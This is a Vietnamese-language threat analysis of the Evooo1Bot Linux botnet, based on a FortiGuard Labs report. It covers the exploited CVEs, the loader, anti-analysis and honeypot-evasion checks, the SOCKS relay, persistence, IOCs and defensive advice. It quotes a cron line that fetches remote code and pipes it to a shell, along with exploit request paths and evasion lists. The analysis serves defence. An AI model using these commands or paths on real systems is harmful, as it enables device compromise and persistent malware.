Evooo1Bot: khi router bị nhiễm không còn là đạn dùng một lần mà trở thành hạ tầng cho thuê

Tóm tắt
Evooo1Bot dùng lại nguyên engine DDoS từ mã nguồn Mirai bị rò rỉ công khai. Phần đó không có gì mới sau mười năm.
Cái mới nằm ở những thứ được gắn thêm vào: giao tiếp C2 mã hóa, scanner brute-force SSH, module SOCKS relay, credential sniffer, và một kho exploit tích hợp nhắm nhiều lỗ hổng đã biết. FortiGuard Labs đặt tên họ mã độc này theo chuỗi evooo1 được hardcode trong mọi binary, và ghi nhận hoạt động từ tháng 07/2026.
Điểm quan trọng nhất không phải danh sách tính năng mà là module SOCKS relay đã thay đổi bản chất kinh tế của một thiết bị bị nhiễm.
Với botnet DDoS truyền thống, router của bạn là đạn dùng một lần: bắn xong, bị phát hiện, bị vá, hết giá trị. Với Evooo1Bot, nó trở thành hạ tầng tái sử dụng được — một node proxy có thể dùng để ẩn nguồn gốc tấn công, vượt giới hạn địa lý, làm bàn đạp vào mạng nội bộ, hoặc đơn giản là bán trên thị trường residential proxy. Fortinet đánh giá đây là năng lực đáng chú ý nhất về mặt vận hành của cả họ mã độc.
Hành động ưu tiên: rà xem có thiết bị mạng nào trong môi trường đang mở listener trên cổng TCP 1080, hoặc phát ra kết nối SSH đi ra internet — cả hai đều là hành vi gần như không bao giờ hợp lệ với router hay camera.
Phát hiện và vector lây nhiễm
Evooo1Bot lọt vào tầm ngắm của Fortinet qua telemetry IPS. Họ quan sát thấy các nỗ lực khai thác nhắm nhiều loại thiết bị biên, và điểm chung là toàn bộ payload callback đều trỏ về cùng một loader URL: 91.92.40[.]118/wget.sh.
Mười lỗ hổng được quan sát khai thác trong traffic thực tế, trải dài từ 2007 tới 2025:
| CVE | Sản phẩm mục tiêu |
|---|---|
| CVE-2007-3010 | Alcatel OmniPCX Enterprise — RCE |
| CVE-2016-6277 | Nhiều dòng router NETGEAR — RCE |
| CVE-2018-14558 | Tenda AC7, AC9, AC10 — command injection |
| CVE-2019-14931 | Mitsubishi Electric ME-RTU và INEA ME-RTU — command injection |
| CVE-2020-10987 | Tenda AC1900 (AC15) — RCE |
| CVE-2021-46422 | Telesquare SDT-CW3B1 — command injection |
| CVE-2022-37055 | Router D-Link — buffer overflow |
| CVE-2024-29269 | Telesquare TLR-2005KSH — command injection |
| CVE-2025-10123 | D-Link DIR-823X — command injection |
| CVE-2025-55583 | D-Link DIR-868L B1 — command injection |
Việc duy trì cả lỗ hổng từ 2007 lẫn lỗ hổng công bố năm 2025 là lựa chọn có chủ đích: thiết bị nhúng có vòng đời rất dài, và một CVE gần hai mươi năm tuổi vẫn còn mục tiêu sống. Cần lưu ý rằng nhiều CVE trong danh sách này được chia sẻ rộng rãi trong hệ sinh thái botnet IoT — việc chúng xuất hiện ở đây không phải dấu hiệu riêng của Evooo1Bot.
Payload quan sát được trong pcap của lưu lượng khai thác (nguồn: FortiGuard Labs).
Script wget.sh tải và thực thi binary khớp với kiến trúc CPU của máy chủ, thử 12 biến thể qua wget, rồi busybox wget, rồi curl, rồi tftp theo đúng thứ tự đó. Binary được ghi vào đường dẫn tạm, cấp quyền thực thi, chạy — và bash history bị xóa sau khi nhiễm.
Script loader wget.sh (nguồn: FortiGuard Labs).
Nhãn chiến dịch: operator đang đo hiệu quả từng exploit
Đây là chi tiết tôi cho là đáng phân tích riêng.
Mỗi lần khai thác mang theo một nhãn chiến dịch nhúng ngay trong lệnh tải — ví dụ -s mitsu cho các mục tiêu Mitsubishi Electric, và rep.alcatel cho các mục tiêu Alcatel-Lucent. Fortinet nhận định điều này cho thấy operator tự theo dõi tỷ lệ nhiễm theo từng lỗ hổng một cách độc lập.
Đây là hành vi kiểu phân tích sản phẩm, không phải kiểu chạy script cho vui. Họ đang đo xem exploit nào mang lại nhiều thiết bị nhất trên mỗi đơn vị công sức, và nhiều khả năng dùng số liệu đó để quyết định đầu tư tiếp vào đâu. Với một dự án mà giá trị đầu ra là số node proxy khả dụng, việc đo lường như vậy hoàn toàn hợp lý về mặt kinh doanh.
Chống phân tích: mức đầu tư vượt mặt bằng Mirai
Trước khi chạy, binary kiểm tra bốn nhóm dấu hiệu môi trường phân tích. Danh sách rất dài, và bản thân độ dài đó là thông tin.
Kiểm tra sự tồn tại của file: strace, ltrace, gdb, lldb, valgrind, perf, radare2, r2, rizin, cutter, iaito, ghidra, ghidraRun, ida, ida64, idat, idat64, objdump, readelf, retdec-decompiler, wireshark, tshark, tcpdump, ngrep, ettercap, yara, ssdeep, binwalk, foremost, sysdig, bpftrace, auditd, ausearch, fatrace, inotifywait, lynis, rkhunter, chkrootkit, clamdscan, clamscan, volatility, vol.py, gcore.
Kiểm tra tên tiến trình đang chạy: gdb, lldb, strace, ltrace, radare2, r2, rizin, rr, valgrind, perf, ida, ida64, ghidra, sysdig, bpftrace, frida, frida-server.
Kiểm tra tên dịch vụ sandbox: sandboxie, cuckoo, anubis, threatexpert, joebox, comodo, hybrid-analysis, cape-sandbox, fireeye, normanbox, drakvuf.
Kiểm tra dấu vân VM và container: vmware, vbox, virtualbox, qemu, firejail, bubblewrap, gvisor, kata, cuckoo, joesandbox, cape, any.run, hybrid-analysis.
Nhóm cuối đáng chú ý: firejail, bubblewrap, gvisor và kata không phải máy ảo cổ điển mà là các công nghệ sandbox và container hiện đại. Việc kiểm tra chúng cho thấy tác giả cập nhật theo cách các nhà nghiên cứu thực sự đang làm việc, chứ không sao chép một danh sách cũ.
Về bảo vệ chuỗi, hơn 60 khối chuỗi mã hóa được xử lý bằng cùng một quy trình giải mã, dùng AES-256-CTR và ChaCha20. Khóa không lưu trực tiếp trong binary: mỗi khóa được tách thành hai hằng 32-byte nhúng trong section .data và ghép lại lúc runtime bằng phép XOR. Ngoài ra còn một lớp XOR riêng áp cho một tập chuỗi trong .rodata (khóa 0x43 trong bản dựng i386).
Chuỗi ở trạng thái mã hóa trong binary (nguồn: FortiGuard Labs).
Nhận định của tôi cho phần này: đây là mức đầu tư chống phân tích vượt xa mặt bằng của mã độc phái sinh từ Mirai. Phần lớn biến thể Mirai không obfuscate chuỗi, hoặc chỉ dùng một phép XOR đơn giản với khóa nằm ngay cạnh dữ liệu. Tác giả Evooo1Bot kỳ vọng mẫu của mình sẽ bị phân tích, và đã chuẩn bị cho điều đó.
Sau khi vượt qua toàn bộ kiểm tra, binary kết nối tới C2 trên cổng 443 — Fortinet ghi rõ cổng này được chọn để hòa lẫn vào lưu lượng HTTPS thông thường ở vành đai mạng.
Kiến trúc module: 28 lệnh
| Module | Lệnh | Mô tả |
|---|---|---|
| Persistence | !persist |
Cài đồng thời toàn bộ cơ chế duy trì |
| Self-Update | !reinstall |
Tải và thay thế binary đang chạy |
| Control | !kill !exit !info |
Kết thúc bot, thoát êm, hoặc trả về thông tin hệ thống |
| File Transfer | !download !upload |
Hai chiều; giới hạn 10 MB; phân tách bằng marker __FILE_START__ và __FILE_END__ |
| Interactive Shell | !shell !exec !stream !detach !bg |
Mở PTY qua /dev/ptmx, đặt TERM=xterm-256color, hỗ trợ chạy nền và detach |
| Sniffer | !sniff !stopsniff |
Đọc /proc/net/tcp, chặn header HTTP Basic Authorization và Cookie, ghi vào /tmp/.sniff.log |
| SOCKS Relay | !socks !socksauth !stopsocks |
Biến nạn nhân thành node proxy, có tùy chọn xác thực, relay lưu lượng TCP tùy ý |
| SSH Scanner | !ssh !stopssh !enableautossh !disableautossh |
SSH client tích hợp, từ điển hơn 150 credential |
| DDoS | !attack !stopattack |
16 phương thức flood |
| CVE Exploit | !cve !stopcve !cveall |
Dispatcher exploit qua HTTP, payload host do operator cung cấp (MODE:all để quét đồng thời) |
Ba lệnh !cve, !stopcve và !cveall chỉ có trong phiên bản mới nhất — các bản dựng trước đó hỗ trợ toàn bộ lệnh còn lại.
Persistence: năm cơ chế cùng lúc
Một lệnh !persist cài đồng thời tất cả:
systemd service Unit file với Description=Apache HTTPD Cache Manager, Restart=always
SysV init Script trong /etc/init.d với header ### BEGIN INIT INFO
cron Tải lại script mỗi 5 phút:
*/5 * * * * /bin/sh -c '(wget -qO- <URL> || curl -sL <URL>) | /bin/sh ...'
Shell profile Injection vào /etc/profile.d/, chạy khi đăng nhập
rc.local Append script tải payload vào /etc/rc.local
Việc đặt tên unit file là Apache HTTPD Cache Manager là lựa chọn khá tốt về mặt ngụy trang: nó nghe hợp lý trên một máy chủ Linux và không kích hoạt phản xạ nghi ngờ của người quản trị đang lướt qua danh sách service.
Để chống bị kết thúc, binary ghi vào /proc/self/oom_score_adj nhằm giảm mức ưu tiên của OOM-killer, và giữ /dev/watchdog mở để ngăn thiết bị tự khởi động lại.
Chi tiết thứ hai đặc biệt tinh vi và đáng ghi nhớ. Watchdog là cơ chế mà rất nhiều thiết bị nhúng dùng để tự phục hồi khi treo — nếu tiến trình giám sát không "vỗ về" watchdog trong khoảng thời gian quy định, thiết bị tự reboot. Bằng cách giữ handle mở, mã độc vô hiệu hóa chính cơ chế tự phục hồi đó. Nói cách khác, lời khuyên quen thuộc "khởi động lại router để xóa mã độc IoT" bị vô hiệu hóa từ trước.
SOCKS relay: hai chế độ, và vì sao reverse mode quan trọng hơn
Module SOCKS relay trong mã nguồn được phân tích (nguồn: FortiGuard Labs).
Khác với các lệnh botnet thông thường vốn tập trung vào tải payload hoặc phát động tấn công, !socks biến máy nhiễm thành một proxy SOCKS5 mà operator có thể dùng làm trạm trung chuyển mạng.
Direct mode. Bot mở listener SOCKS5 trên máy nhiễm ở cổng TCP mặc định 1080 và chờ kết nối từ client. Cách triển khai thử tạo listener IPv6 dual-stack trước, và fallback sang IPv4 nếu thất bại. Mỗi client được chấp nhận sẽ được chuyển cho hàm xử lý phiên.
Reverse mode. Thay vì phơi một cổng lắng nghe, bot thiết lập kết nối mã hóa đi ra tới một relay server do operator chỉ định. Kênh điều khiển thường trực này lắng nghe các lệnh dạng RELAY_NEW:<session_id>, báo hiệu cần tạo một phiên proxy mới.
Khi nhận yêu cầu, bot mở kết nối mã hóa thứ hai tới cùng relay server, đăng ký nó bằng RELAY_DATA:<session_id>, rồi bàn giao kết nối cho hàm xử lý proxy SOCKS5. Kiến trúc này tách kênh điều khiển khỏi lưu lượng proxy, cho phép nhiều phiên chạy độc lập trong khi vẫn duy trì một kết nối điều khiển ổn định.
Với người làm phòng thủ, reverse mode là chế độ đáng lo hơn nhiều. Direct mode để lại một cổng mở — thứ mà quét mạng định kỳ có thể bắt được. Reverse mode không mở cổng nào trên thiết bị nạn nhân, nên không có dấu hiệu nào ở phía ngoài để phát hiện; nó trông giống một kết nối TLS đi ra bình thường trên cổng 443.
Fortinet chỉ ra rõ giá trị mà điều này mang lại cho kẻ tấn công: địa chỉ IP của nạn nhân được dùng để ngụy trang lưu lượng độc hại, vượt qua giới hạn theo khu vực địa lý, hoặc cung cấp đường vào mạng nội bộ thông qua một máy đã bị chiếm. Với botnet quy mô lớn hơn, cùng chức năng đó có thể được dùng để xây dựng hạ tầng proxy phân tán, phục vụ chuyển tiếp lưu lượng ẩn danh hoặc thương mại hóa qua các dịch vụ residential và enterprise proxy.
Brute-force SSH và cơ chế né honeypot
Trước khi khởi động scanner, mã độc chạy hai lớp kiểm tra honeypot ở hai giai đoạn khác nhau của kết nối. Đây là phần tôi cho là có giá trị vận hành trực tiếp nhất trong toàn bộ báo cáo.
Lớp thứ nhất — trong lúc handshake giao thức, trước khi gửi bất kỳ credential nào. Scanner so banner SSH của mục tiêu với một danh sách cứng:
| Cowrie | SSH-2.0-paramiko |
SSH-2.0-Go |
| Kippo | SSH-2.0-libssh |
SSH-2.0-Parks |
| HonSSH | Twisted | SSH-2.0-CISCO_WLC |
| Glutton | russh_ |
SSH-2.0-Server |
| OpenCanary | ssh2js | SSH-2.0-MocanaSSH |
Trùng bất kỳ mục nào khiến mục tiêu bị bỏ qua trong im lặng, không ghi log, không tương tác thêm.
Lớp thứ hai — sau khi đăng nhập thành công, trước khi giao payload persistence. Scanner chạy lệnh sau qua phiên đã thiết lập:
cat /proc/version 2>/dev/null; echo ---; cat /proc/1/cmdline 2>/dev/null; ls /opt/cowrie /home/cowrie /home/kippo 2>/dev/null
Output của /proc/version được kiểm tra xem có chứa chuỗi Linux version hay không. Nếu không, đó là dấu hiệu môi trường giả lập hoặc phi tiêu chuẩn, và mục tiêu bị bỏ qua. Lệnh ls phát hiện hai họ honeypot: Cowrie và Kippo. Thấy bất kỳ dấu hiệu nào, scanner từ bỏ mục tiêu.
Fortinet giải thích hai lớp này bổ sung cho nhau chứ không trùng lặp: lớp banner lọc các honeypot tự lộ qua định danh triển khai SSH của chúng; còn lớp thăm dò sau đăng nhập nhắm vào những honeypot có banner hợp lý nhưng lộ mình qua cấu trúc filesystem của máy chủ bên dưới. Chỉ những mục tiêu vượt qua cả ba điều kiện mới được giao payload.
Điều này có một hệ quả rất cụ thể với các đội đang vận hành honeypot. Nếu tổ chức bạn dùng Cowrie hoặc Kippo để thu thập mẫu và đánh giá mối đe dọa SSH — đây là hai lựa chọn phổ biến nhất và thường là mặc định — thì bạn sẽ không bắt được họ mã độc này, và bạn cũng sẽ không thấy dấu vết nào cho thấy nó đã ghé qua, vì mã độc bỏ đi trong im lặng ngay ở tầng banner. Số liệu về mối đe dọa SSH mà bạn đang dựa vào đang thiếu Evooo1Bot, và nhiều khả năng thiếu cả các họ mã độc khác áp dụng cùng kỹ thuật. Nếu honeypot là một phần trong quy trình TI của bạn, đây là lý do cụ thể để cân nhắc bổ sung các implementation ít phổ biến hơn hoặc tùy biến banner mặc định.
Sau khi vượt kiểm tra, scanner dùng một SSH client tích hợp với banner SSH-2.0-OpenSSH_9.7p1.
Từ điển credential được hardcode trong binary (nguồn: FortiGuard Labs).
Từ điển credential có mùi doanh nghiệp
Từ điển nhúng chứa hơn 150 entry. Ngoài các credential mặc định IoT thông thường, danh sách còn bao gồm tên tài khoản dịch vụ: jenkins, postgres, oracle, nagios, deploy.
Fortinet nói rõ đây là những tên phổ biến trong môi trường doanh nghiệp và công nghệ vận hành hơn là trên router tiêu dùng.
Kết hợp chi tiết này với các thành phần khác trong bức tranh — CVE-2019-14931 nhắm thiết bị RTU công nghiệp của Mitsubishi Electric, và module exploit chứa cả Kubernetes ingress-nginx cùng Atlassian Confluence — kết luận trở nên rõ: đây không phải một botnet chỉ săn router nhà dân. Tác giả đã tính đến việc mã độc sẽ hạ cánh trên máy chủ và thiết bị vận hành, và chuẩn bị từ điển tương ứng.
Engine DDoS
Phần này giữ nguyên cấu trúc của mã nguồn Mirai bị rò rỉ. Biến thể HTTP flood hỗ trợ các giá trị METHOD, HEADER và EXPECT do operator chỉ định, và dựng request với User-Agent cùng Content-Length tùy biến.
| ID | Phương thức | Mô tả |
|---|---|---|
| 0x00 | udp | UDP flood thông thường |
| 0x01 | vse | Khuếch đại truy vấn Valve Source Engine |
| 0x02 | dns | DNS flood |
| 0x03 | syn | TCP SYN flood |
| 0x04 | ack | TCP ACK flood |
| 0x05 | stomp | TCP STOMP |
| 0x06 | greip | GRE-encapsulated IP flood |
| 0x07 | greeth | GRE-encapsulated Ethernet flood |
| 0x08 | udpplain | UDP tốc độ gói cao, header tối thiểu |
| 0x09 | std | UDP flood với payload độ dài ngẫu nhiên |
| 0x0a | xmas | TCP bật toàn bộ flag |
| 0x0b | usyn | Biến thể URG+SYN |
| 0x0c | tcpall | TCP với tổ hợp flag tùy ý |
| 0x0d | tcpfrag | TCP flood phân mảnh |
| 0x0e | ovh | Kỹ thuật thiết kế để vượt cơ chế chống DDoS của OVH |
| 0x0f | asyn | SYN flood bất đồng bộ |
Module exploit tích hợp chứa một bảng CVE dạng plaintext trong binary, mỗi entry ánh xạ một CVE tới một hoặc nhiều chuỗi HTTP request. Operator cung cấp payload host lúc runtime qua !cve <url> hoặc !cveall <url>:
| CVE | Sản phẩm | Đường dẫn |
|---|---|---|
| CVE-2021-36260 | Camera IP Hikvision | /SDK/webLanguage |
| CVE-2022-26134 | Atlassian Confluence | /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils |
| CVE-2022-30525 | Zyxel Firewall | /ztp/cgi-bin/handler |
| CVE-2023-1389 | TP-Link Archer AX21 | /cgi-bin/luci/;stok=/locale |
| CVE-2024-4577 | PHP-CGI (Windows) | allow_url_include%3D |
| CVE-2024-10914 | D-Link NAS | /cgi-bin/account_mgr.cgi |
| CVE-2025-1974 | Kubernetes ingress-nginx | /apis/networking/v1/ingresses |
| CVE-2022-29464 | Sản phẩm WSO2 | /fileupload/ |
IOC
IOC lấy từ báo cáo của FortiGuard Labs ngày 13/08/2026. IP đã defang.
Hạ tầng
91.92.40[.]118 # máy chủ loader và C2
hxxp://91.92.40[.]118/wget.sh # script loader, tải 12 biến thể theo kiến trúc CPU
Cổng C2: TCP 443 # chọn để hòa lẫn vào lưu lượng HTTPS ở vành đai
Hash mẫu (SHA-256)
f13cb360768363d3424e2192c7805b8c8015eb8706dbbbcdead6aed8cf390109
4c0886349e9d348569fffe1b7a31e474d514508bf0cd6f1e5dd99c2a73525e4d
Artifact trên thiết bị
# Chuỗi định danh
evooo1 # hardcode trong mọi binary của họ mã độc này
# Persistence
systemd unit với Description=Apache HTTPD Cache Manager và Restart=always
Script trong /etc/init.d/ với header ### BEGIN INIT INFO
Cron entry chạy mỗi 5 phút, gọi wget hoặc curl pipe vào /bin/sh
File injection trong /etc/profile.d/
Dòng append bất thường trong /etc/rc.local
# Chống kết thúc
Giá trị bất thường trong /proc/self/oom_score_adj
Tiến trình giữ handle /dev/watchdog mở
# Sniffer
/tmp/.sniff.log # nơi lưu credential HTTP Basic Auth và Cookie thu được
Tiến trình đọc /proc/net/tcp bất thường
Artifact mạng
# SOCKS relay
Listener trên cổng TCP 1080 từ router, camera hoặc thiết bị nhúng (direct mode)
Kết nối TLS đi ra dài hạn tới địa chỉ lạ trên cổng 443 từ thiết bị nhúng (reverse mode)
# Marker giao thức relay
RELAY_NEW:<session_id>
RELAY_DATA:<session_id>
# Marker truyền file
__FILE_START__
__FILE_END__
# SSH scanner
Banner client: SSH-2.0-OpenSSH_9.7p1
Kết nối SSH đi ra từ thiết bị mạng tới internet
# Nhãn chiến dịch trong lệnh tải
-s mitsu # mục tiêu Mitsubishi Electric
rep.alcatel # mục tiêu Alcatel-Lucent
CVE bị khai thác — lây nhiễm ban đầu
CVE-2007-3010 Alcatel OmniPCX Enterprise
CVE-2016-6277 NETGEAR (nhiều dòng router)
CVE-2018-14558 Tenda AC7 / AC9 / AC10
CVE-2019-14931 Mitsubishi Electric ME-RTU, INEA ME-RTU
CVE-2020-10987 Tenda AC1900 (AC15)
CVE-2021-46422 Telesquare SDT-CW3B1
CVE-2022-37055 Router D-Link
CVE-2024-29269 Telesquare TLR-2005KSH
CVE-2025-10123 D-Link DIR-823X
CVE-2025-55583 D-Link DIR-868L B1
CVE trong module exploit
CVE-2021-36260 Camera IP Hikvision
CVE-2022-26134 Atlassian Confluence
CVE-2022-29464 Sản phẩm WSO2
CVE-2022-30525 Zyxel Firewall
CVE-2023-1389 TP-Link Archer AX21
CVE-2024-4577 PHP-CGI (Windows)
CVE-2024-10914 D-Link NAS
CVE-2025-1974 Kubernetes ingress-nginx
Coverage của Fortinet
FortiGuard Antivirus: Linux/Agent.BDS!tr
IPS signature (15):
alcatel-lucent.omnipcx.office.mastercgi.user.command.execution CVE-2007-3010
NETGEAR.WebServer.Module.Command.Injection CVE-2016-6277
Tenda.AC15.AC1900.Authenticated.Remote.Command.Injection CVE-2018-14558, CVE-2020-10987
mitsubishi.electric.me-rtu.command.injection CVE-2019-14931
Hikvision.Products.SDK.WebLanguage.Tag.Command.Injection CVE-2021-36260
Telesquare.SDT-CW3B1.Command.Injection CVE-2021-46422, CVE-2024-29269
HTTP.URI.Java.Expression.Language.Code.Injection CVE-2022-26134
WSO2.fileupload.Arbitrary.File.Upload CVE-2022-29464
Zyxel.Firewall.ZTP.Command.Injection CVE-2022-30525
D-link.go-rt-ac750.hnap_main.buffer.overflow CVE-2022-37055
TP-Link.Archer.AX21.luci.stok.Command.Injection CVE-2023-1389
D-Link.Devices.account_mgr.cgi.Command.Injection CVE-2024-10914
PHP.CGI.Argument.Injection CVE-2024-4577
D-Link.DIR-823X.set_static_leases.Command.Injection CVE-2025-10123
D-Link.DIR-868L.fileaccess.cgi.Command.Injection CVE-2025-55583
MITRE ATT&CK Mapping
| Tactic | Technique ID | Technique Name | Ghi nhận trong chiến dịch |
|---|---|---|---|
| Initial Access | T1190 | Exploit Public-Facing Application | 10 CVE trên thiết bị biên |
| Initial Access | T1110.001 | Brute Force: Password Guessing | Scanner SSH với từ điển hơn 150 entry |
| Initial Access | T1078.001 | Valid Accounts: Default Accounts | Credential mặc định IoT |
| Execution | T1059.004 | Command and Scripting Interpreter: Unix Shell | wget.sh, PTY shell tương tác |
| Persistence | T1543.002 | Create or Modify System Process: Systemd Service | Unit Apache HTTPD Cache Manager |
| Persistence | T1053.003 | Scheduled Task/Job: Cron | Tải lại payload mỗi 5 phút |
| Persistence | T1037.004 | Boot or Logon Initialization Scripts: RC Scripts | /etc/init.d, /etc/rc.local |
| Persistence | T1546.004 | Event Triggered Execution: Unix Shell Configuration Modification | Injection vào /etc/profile.d/ |
| Defense Evasion | T1036.005 | Masquerading: Match Legitimate Name or Location | Unit file giả danh Apache HTTPD |
| Defense Evasion | T1027 | Obfuscated Files or Information | AES-256-CTR, ChaCha20, XOR nhiều lớp |
| Defense Evasion | T1140 | Deobfuscate/Decode Files or Information | Khóa tách đôi, ghép bằng XOR lúc runtime |
| Defense Evasion | T1497.001 | Virtualization/Sandbox Evasion: System Checks | Kiểm tra VM, container, sandbox, honeypot |
| Defense Evasion | T1622 | Debugger Evasion | Kiểm tra file và tiến trình của hơn 50 công cụ phân tích |
| Defense Evasion | T1070.003 | Indicator Removal: Clear Command History | Xóa bash history sau khi nhiễm |
| Credential Access | T1040 | Network Sniffing | Đọc /proc/net/tcp, chặn HTTP Basic Auth và Cookie |
| Command and Control | T1573.001 | Encrypted Channel: Symmetric Cryptography | C2 mã hóa; kênh relay mã hóa |
| Command and Control | T1571 | Non-Standard Port | Cổng 443 dùng cho giao thức C2 riêng, không phải HTTPS |
| Command and Control | T1090.001 | Proxy: Internal Proxy | Listener SOCKS5 trên cổng 1080 |
| Command and Control | T1090.003 | Proxy: Multi-hop Proxy | Reverse relay qua máy chủ của operator |
| Command and Control | T1105 | Ingress Tool Transfer | wget.sh và lệnh !download |
| Impact | T1498 | Network Denial of Service | 16 phương thức DDoS |
| Impact | T1498.001 | Direct Network Flood | UDP, SYN, ACK, GRE và các biến thể khác |
Nhận định
Kinh tế học của botnet IoT đang thay đổi, và Evooo1Bot là một ví dụ rõ.
Với một botnet DDoS thuần túy, mỗi thiết bị bị nhiễm là tài nguyên tiêu hao. Nó tham gia vài đợt tấn công, có thể bị nhà mạng chặn hoặc chủ sở hữu vá, rồi biến mất. Mô hình doanh thu là bán theo giây hoặc theo đợt tấn công, và operator phải liên tục bù đắp số bot mất đi.
Với module SOCKS relay, cùng một thiết bị đó trở thành hạ tầng có giá trị lặp lại. Một router ở dải IP dân cư của một nhà mạng là thứ có thị trường thật: dịch vụ residential proxy bán quyền định tuyến lưu lượng qua IP dân cư hợp lệ, và khách hàng của loại dịch vụ đó trả tiền hàng tháng chứ không theo giây. Fortinet nêu thẳng khả năng thương mại hóa này trong phần kết luận.
Sự chuyển dịch đó kéo theo một thay đổi về động cơ: operator giờ có lý do để giữ thiết bị sống lâu và im lặng thay vì vắt kiệt nó. Điều đó giải thích rất nhiều lựa chọn thiết kế trong mã: lớp chống phân tích công phu, cơ chế né honeypot, việc giữ /dev/watchdog mở, và năm cơ chế persistence song song. Đây không phải mã độc được viết để bắn một lần.
Với doanh nghiệp, rủi ro lớn nhất không phải băng thông mà là danh tính. Khi thiết bị của bạn trở thành node SOCKS, lưu lượng tấn công vào tổ chức khác đi ra từ địa chỉ IP công cộng của bạn. Bạn xuất hiện trong log của nạn nhân ở nơi khác với vai trò hạ tầng tấn công, không phải nạn nhân. Kéo theo đó là rủi ro bị đưa vào danh sách chặn của các nhà cung cấp dịch vụ, rủi ro pháp lý, và rủi ro uy tín khi đối tác quốc tế rà soát — những thứ khó gỡ hơn nhiều so với việc dọn một con mã độc.
Về mức độ chín của mã. Lớp chống phân tích ở đây vượt xa mặt bằng Mirai-derived: hơn 60 khối chuỗi mã hóa bằng AES-256-CTR và ChaCha20, khóa tách đôi ghép runtime, và danh sách kiểm tra bao gồm cả gvisor với kata — những công nghệ mà chỉ người theo dõi sát cách giới nghiên cứu làm việc mới nghĩ tới. Cùng với đó là 28 lệnh, PTY shell đầy đủ, truyền file hai chiều có delimiter. Đây là một dự án được đầu tư nghiêm túc, không phải một biến thể Mirai chỉnh vài dòng.
Liên hệ Việt Nam
Danh sách thiết bị mục tiêu trúng gần như toàn bộ những gì phổ biến trong nước. Tenda, D-Link và TP-Link là ba thương hiệu router chiếm thị phần lớn ở phân khúc hộ gia đình và doanh nghiệp nhỏ tại Việt Nam. Camera Hikvision (CVE-2021-36260 trong module exploit) có mặt ở gần như mọi cửa hàng, văn phòng và tòa nhà. Đây không phải danh sách nhắm vào hạ tầng doanh nghiệp lớn — nó nhắm vào thứ nằm trong tủ mạng của mọi văn phòng nhỏ và trên trần của mọi cửa hàng.
Rủi ro không dừng ở lớp thiết bị mạng. Từ điển SSH chứa postgres, oracle, jenkins, nagios, deploy; module exploit chứa Kubernetes ingress-nginx và Atlassian Confluence; và danh sách CVE lây nhiễm có thiết bị RTU công nghiệp. Nếu tổ chức bạn có máy chủ ứng dụng hoặc hệ thống CI/CD nào lộ SSH ra internet với mật khẩu yếu, chúng nằm trong phạm vi của chiến dịch này.
Hai điểm phát hiện rẻ và ít nhiễu nhất. Thứ nhất: một router, camera hay đầu ghi hình mở kết nối SSH đi ra internet là hành vi gần như không bao giờ hợp lệ — thiết bị nhúng không có nhu cầu nghiệp vụ nào để làm việc đó. Thứ hai: listener trên cổng TCP 1080 từ một thiết bị mạng cũng vậy. Cả hai không cần biết trước tên mã độc và không đòi hỏi công cụ đắt tiền.
Reverse mode khó hơn đáng kể — nó chỉ trông như một kết nối TLS đi ra trên cổng 443. Ở đây thứ phân biệt được là tính bền của kết nối và bản chất của thiết bị: một camera IP duy trì kết nối TLS dài hạn tới một địa chỉ lạ ở nước ngoài không giống bất kỳ hoạt động hợp lệ nào của nó.
Cuối cùng, một lưu ý cho quy trình xử lý: vì mã độc giữ /dev/watchdog mở và cài năm cơ chế persistence song song, khởi động lại thiết bị không đủ. Cần khôi phục firmware về bản gốc mới nhất và đổi toàn bộ thông tin đăng nhập.
Khuyến nghị
Cập nhật firmware cho toàn bộ thiết bị biên theo danh sách CVE trong bài, ưu tiên Tenda, D-Link, TP-Link và camera Hikvision; thay thế thiết bị đã hết vòng đời hỗ trợ.
Đổi mật khẩu mặc định và tắt SSH/Telnet trên giao diện WAN của mọi router, camera, đầu ghi hình và thiết bị Linux nhúng; với máy chủ, dùng xác thực bằng khóa thay cho mật khẩu.
Cảnh báo trên hai hành vi cụ thể: thiết bị nhúng mở kết nối SSH đi ra internet, và listener trên cổng TCP 1080 từ phân đoạn mạng thiết bị.
Xây baseline cho kết nối đi ra của phân đoạn IoT và cảnh báo trên kết nối TLS dài hạn tới địa chỉ lạ trên cổng 443 — đây là cách duy nhất bắt được chế độ reverse relay.
Kiểm tra định kỳ IP công cộng của tổ chức trên các danh sách chặn và dịch vụ reputation — nếu thiết bị của bạn đang làm node proxy, đó có thể là dấu hiệu đầu tiên bạn nhận được.
Nếu nghi ngờ đã nhiễm, không chỉ khởi động lại: khôi phục firmware về bản gốc mới nhất, đổi toàn bộ credential, và rà soát các thiết bị khác trong cùng phân đoạn — module brute-force SSH lây lan theo chiều ngang trong mạng nội bộ.
Tài liệu tham khảo
FortiGuard Labs — Multi-Functional Linux Botnet "Evooo1Bot", Cara Lin (13/08/2026) — báo cáo gốc
BleepingComputer — New Evooo1Bot Linux botnet turns routers into traffic relay nodes
GBHackers — Evooo1Bot Turns Compromised Routers Into DDoS Bots and Anonymous Proxy Nodes
Techzine — New Linux botnet turns routers into proxy servers
FastNetMon — DDoS News: Evooo1Bot Linux Botnet Hijacks Routers and Firewalls
MITRE ATT&CK — T1090: Proxy
MITRE ATT&CK — T1622: Debugger Evasion






